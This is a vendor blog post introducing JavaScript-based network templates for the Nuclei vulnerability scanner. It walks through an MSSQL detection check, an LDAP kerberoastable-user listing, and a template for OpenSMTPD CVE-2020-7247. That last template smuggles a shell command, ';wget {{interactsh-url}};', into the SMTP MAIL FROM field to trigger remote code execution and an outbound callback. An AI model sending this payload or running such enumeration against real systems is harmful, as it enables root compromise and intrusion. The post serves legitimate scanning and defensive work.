Our nuclei-templates library boasts over 8,000 templates, encompassing more than 7,200 templates for web applications. This collection includes 2,200 web-related CVEs and features more than 850 templates aimed at identifying diverse web vulnerabilities. With many active community contributions, we're continuously updating our database with the latest web CVEs and vulnerabilities. We're also expanding our templates to cover network vulnerabilities, aiming for the most thorough vulnerability scanning possible.
We're thrilled to share that with the launch of Nuclei Templates version 9.8.0, we've broadened our scope of network security checks. With this release, we're inviting contributors (like YOU!) to help us in enriching network vulnerability detection, using the new JS protocol. This makes it simpler to incorporate network checks through the newly introduced JS modules.
In this blog post, we are going to share how we can use JS modules to write network checks, which checks we have covered so far, and our future plans. So let’s get started.
Our previous support for writing network templates via network protocol using raw/hex input has been helpful in writing basic exploits effectively. However, the complexity of security protocols such as LDAP, Kerberos, SSH, and SMTP necessitated a more versatile approach.
In Nuclei v3 we added the support for JavaScript protocol. This enhancement has empowered users to write more intricate checks that accommodate the complexity of various protocols. Through JavaScript templates, users can now craft multi-step exploits with loops, conditions, and other advanced scripting functionalities. This capability is not just a technical enhancement; it represents a paradigm shift in how security checks can be conceptualized and implemented.
Why JavaScript Protocol is useful
The JavaScript protocol serves as a bridge, narrowing the gap between complex network protocols and the accessible, user-friendly approach that Nuclei aims to maintain. This transition towards a more versatile scripting environment within Nuclei does not compromise on simplicity and ease of use. Instead, it enhances it, enabling both seasoned and novice security researchers to contribute meaningfully to the ecosystem.
For example:
- LDAP and Kerberos: Traditionally, exploits involving LDAP or Kerberos required a nuanced understanding of authentication steps, making them difficult to encode in simple YAML-based DSL. JavaScript templates allow for a more nuanced approach, enabling the execution of multi-step authentication processes that can more accurately reflect real-world attack vectors.
- SMB and RDP: Similar to LDAP and Kerberos, SMB and RDP protocols involve complex interaction patterns that are now more readily testable with JavaScript. Whether it's detecting anonymous access on SMB shares or identifying vulnerabilities in RDP implementations, JavaScript templates offer a flexible and powerful tool set for researchers.
Writing Your First JavaScript Template
First, we need to familiarize ourselves with the documentation for each protocol.
Example #1
In this tutorial, our focus will be on utilizing the JavaScript protocol for conducting the MSSQL check. For example, the MSSQL module's documentation simplifies the process of detecting a Microsoft SQL Server database. It features the IsMssql
method, which determines if the target host is running an MS SQL database by returning true
for a positive match and false
otherwise.
To start crafting your template, you must first import the required module and initialize the client. Below is a guide on how to initiate the MSSQL client:
javascript:
- code: |
let m = require('nuclei/mssql');
let c = m.MSSQLClient();
let response = c.IsMssql(Host, Port);
Export(response);
This code snippet checks if the given host is running an MS SQL database and captures the response. You can further refine this process by exporting the response, which makes it usable in matchers and extractors. This is especially useful when you want to automate the analysis of the response data:
Export(response);
To provide the necessary inputs such as host, port, username, and password, you can use the following arguments structure in your template:
args:
Host: "{{Host}}"
Port: 1433
User: "admin"
Pass: "password"
Debugging plays a crucial role in ensuring your template works as intended. Utilizing flags like -svd -v
can help identify JavaScript Protocol response variables and troubleshoot any issues efficiently. This approach allows you to see the response and success status, which are critical for verifying the template's functionality.
Here's an example of how to log the response to the console for debugging purposes:
console.log(response);
Before finalizing your template, it's essential to verify the matchers, especially the response
variable. Ensuring its accuracy is key to maintaining the template's integrity and functionality. Always rely on the success
variable to assess the operation's outcome.
Here is what the final template might look like:
id: mssql-detect
info:
name: MSSql Service - Detection
author: yourname
severity: info
description: |
Detects MSSql Service.
metadata:
verified: true
shodan-query: product:"MS-SQL Server"
tags: js,enum,network,mssql
javascript:
- code: |
let m = require('nuclei/mssql');
let c = m.MSSQLClient();
let response = c.IsMssql(Host, Port);
Export(response);
args:
Host: "{{Host}}"
Port: 1433
matchers:
- type: dsl
dsl:
- "success == true"
This template is designed to verify the existence of an MS SQL service on the specified host and port. It showcases the ability to employ JavaScript within Nuclei for conducting sophisticated assessments, utilizing programming constructs like conditional statements, loops, and bespoke logic. This approach enhances the thoroughness and accuracy of your security scans, leveraging the full potential of scripting for nuanced and targeted evaluations.
Example #2
Let’s write a little bit complex check, for example the OpenSMTPD CVE-2020-7247.
OpenSMTPD versions 6.4.0–6.6.1 are vulnerable to remote code execution. smtp_mailaddr
in smtp_session.c
in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.
- You can find the SMTP Documentation here according to that, import the SMTP module, then invoke smtp.client() and smtp.SMTPMessage().
javascript:
- code: |
const smtp = require('nuclei/smtp');
const client = new smtp.Client(Host,Port);
const message = new smtp.SMTPMessage();
message.From(From);
message.To(To);
message.Body(Msg);
Export(client.SendMail(message));
- We have then added the RCE payload in the FROM field
;wget {{interactsh-url}};
args:
Host: "{{Host}}"
Port: "8825"
From: ";wget {{interactsh-url}};"
To: "root"
Msg: "Contact your security team if you do not expect this message"
The full template would look like this:
id: CVE-2020-7247
info:
name: OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution
author: princechaddha
severity: critical
description: |
OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.
reference:
- http://packetstormsecurity.com/files/156145/OpenSMTPD-6.6.2-Remote-Code-Execution.html
metadata:
max-request: 2
vendor: openbsd
product: opensmtpd
tags: packetstorm,cve,cve2020,smtp,opensmtpd,network,rce,oast,kev
javascript:
- code: |
const smtp = require('nuclei/smtp');
const client = new smtp.Client(Host,Port);
const message = new smtp.SMTPMessage();
message.From(From);
message.To(To);
message.Body(Msg);
Export(client.SendMail(message));
args:
Host: "{{Host}}"
Port: "8825"
From: ";wget {{interactsh-url}};"
To: "root"
Msg: "Contact your security team if you do not expect this message"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: dsl
dsl:
- success == true
condition: and
Example #3
Similarly, we can use LDAP module to write basic check like returns all AD users who are kerberoastable using FilterIsPerson
, FilterAccountEnabled
and FilterHasServicePrincipalName
filter query.
id: ldap-list-kerberoastable-users-test
info:
name: test
author: 5amu
severity: info
javascript:
- args:
DomainController: "{{Host}}"
code: |
ldap = require("nuclei/ldap");
client = ldap.LdapClient();
users = client.GetKerberoastableUsers(Domain, DomainController, Username, Password);
to_json(users);
extractors:
- type: json
json:
- '.[]'
Here are the JavaScript templates that have been incorporated into Nuclei-templates to date:
pwnmachine@PD javascript % tree
.
├── cves
│ ├── 2016
│ │ └── CVE-2016-8706.yaml
│ ├── 2019
│ │ └── CVE-2019-9193.yaml
│ ├── 2023
│ │ ├── CVE-2023-34039.yaml
│ │ └── CVE-2023-46604.yaml
│ └── 2024
│ └── CVE-2024-23897.yaml
├── default-logins
│ ├── mssql-default-logins.yaml
│ ├── postgres-default-logins.yaml
│ ├── redis-default-logins.yaml
│ └── ssh-default-logins.yaml
├── detection
│ ├── mssql-detect.yaml
│ ├── oracle-tns-listener.yaml
│ └── ssh-auth-methods.yaml
├── enumeration
│ ├── pgsql
│ │ ├── pgsql-default-db.yaml
│ │ ├── pgsql-file-read.yaml
│ │ ├── pgsql-list-database.yaml
│ │ ├── pgsql-list-password-hashes.yaml
│ │ ├── pgsql-list-users.yaml
│ │ └── pgsql-version-detect.yaml
│ ├── smb
│ │ ├── smb-enum.yaml
│ │ └── smb2-capabilities.yaml
│ └── ssh
│ ├── obsolete-ssh-version.yaml
│ ├── ssh-diffie-hellman-logjam.yaml
│ ├── ssh-password-auth.yaml
│ ├── ssh-server-enumeration.yaml
│ └── ssh-sha1-hmac-algo.yaml
└── misconfiguration
├── pgsql
│ ├── pgsql-extensions-rce.yaml
│ └── postgresql-empty-password.yaml
├── smb
│ ├── smb-anonymous-access.yaml
│ ├── smb-shares.yaml
│ └── smb-signing-not-required.yaml
└── ssh
├── ssh-cbc-mode-ciphers.yaml
├── ssh-weak-algo-supported.yaml
├── ssh-weak-mac-algo.yaml
├── ssh-weak-public-key.yaml
└── ssh-weakkey-exchange-algo.yaml
Conclusion
The integration of JavaScript for crafting dynamic templates across various network protocols represents a notable leap forward in network scanning technology. With this update, our team has introduced several examples that pave the way for advanced network scanning capabilities. As a result, Nuclei templates are now an essential resource not just for web vulnerability scanning, but for comprehensive network vulnerability assessments as well. These templates prove invaluable for penetration testers conducting either internal or network-based penetration tests and for organizations looking to scrutinize their internal networks.
As we delve deeper into the possibilities JavaScript offers within Nuclei templates, the horizon for innovation and improvement in network security broadens significantly. We are enthusiastic about the community's role in this evolution, encouraging contributions of additional templates, feedback, and suggestions for areas of focus in future updates. Our forthcoming objectives include enhancing our LDAP and Kerberos checks, marking yet another stride towards refined security scanning capabilities. For further help on crafting JS templates, check out our documentation here. You can also join our discord server. It's a great place to connect with fellow contributors and stay updated with the latest developments. Thank you, once again!
By leveraging Nuclei and actively engaging with the open-source community, or by becoming a part of the ProjectDiscovery Cloud Platform, companies can enhance their security measures, proactively address emerging threats, and establish a more secure digital landscape. Security represents a shared endeavor, and by collaborating, we can consistently adapt and confront the ever-evolving challenges posed by cyber threats.